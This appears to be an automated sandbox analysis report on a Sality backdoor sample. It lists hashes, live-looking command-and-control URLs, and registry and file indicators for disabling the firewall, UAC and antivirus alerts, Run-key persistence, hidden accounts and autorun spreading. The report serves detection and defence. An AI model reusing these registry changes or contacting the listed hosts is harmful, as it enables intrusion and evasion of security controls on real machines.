sality | c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0

Analysis

max time kernel
119s
max time network
83s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
25-12-2024 20:47

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Size

272KB
MD5

ca3e0b7972500c8f064282b09f5b9210
SHA1

3dbf909e123a4a45a7232fcaadfb340ff054a032
SHA256

c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0
SHA512

2f049fc83b34ece0955e3f06cc99cd98dea2e99722d32de0828e50a9d22f0d644d0320bf08efca21ea86315f9298b6a3d217eb09cee16f47bf0b83257ea31acd
SSDEEP

3072:bnLyV3kF21im+YLzLyV3IlaaU7ZDNZSM5RtHFCD:b4QmpctvNT5f4

Score

10^/10

sality backdoor defense_evasion discovery evasion persistence trojan upx

Malware Config

Extracted

Family

sality

http://89.119.67.154/testo5/

http://kukutrustnet777.info/home.gif

http://kukutrustnet888.info/home.gif

http://kukutrustnet987.info/home.gif

Signatures

Modifies firewall policy service 3 TTPs 3 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DoNotAllowExceptions = "0"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DisableNotifications = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Modifies visibility of file extensions in Explorer 2 TTPs 15 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe

Modifies visiblity of hidden/system files in Explorer 2 TTPs 15 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe

Sality
Sality is backdoor written in C++, first discovered in 2003.
backdoor sality
Sality family
sality

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Windows security bypass 2 TTPs 6 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UacDisableNotify = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Sets file to hidden 1 TTPs 9 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
1876	attrib.exe
560	attrib.exe
1444	attrib.exe
1396	attrib.exe
912	attrib.exe
2672	attrib.exe
2468	attrib.exe
2732	attrib.exe
1516	attrib.exe

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UacDisableNotify = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\Svc	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Adds Run key to start application 2 TTPs 29 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = " C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Program File\\Microsoft\\MicrosoftSafety.exe"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Enumerates connected drives 3 TTPs 22 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\I:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\P:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\S:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\W:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\E:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\M:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\R:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\T:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\U:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\Y:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\J:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\K:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\L:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\N:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\Q:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\V:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\F:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\G:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\O:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\X:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\Z:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened (read-only)	\??\H:	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Drops autorun.inf file 1 TTPs 7 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File opened for modification	C:\autorun.inf	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened for modification	F:\autorun.inf	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File created	C:\autorun.inf	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File created	F:\autorun.inf	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened for modification	C:\autorun.inf	attrib.exe
File opened for modification	F:\autorun.inf	attrib.exe
File opened for modification	C:\autorun.inf	attrib.exe

Hide Artifacts: Hidden Users 1 TTPs 1 IoCs

defense_evasion

Hidden Users

T1564.002

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist\SYS_4321 = "0"	reg.exe

UPX packed file 25 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2116-1-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-4-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-6-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-10-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-7-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-11-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-9-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-8-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-14-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-12-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-13-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-37-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-38-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-72-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-81-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-82-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-124-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-143-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-155-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-158-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-159-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-162-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-164-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-165-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx
behavioral1/memory/2116-166-0x00000000029B0000-0x0000000003A6A000-memory.dmp	upx

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\BCSSync.exe	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened for modification	C:\Program Files\7-Zip\7z.exe	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened for modification	C:\Program Files\7-Zip\7zFM.exe	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\f779e61	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
File opened for modification	C:\Windows\SYSTEM.INI	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c96c64dd006f4b991f16e366f548b0472315da6d471ff889864a7a3e05735be0N.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
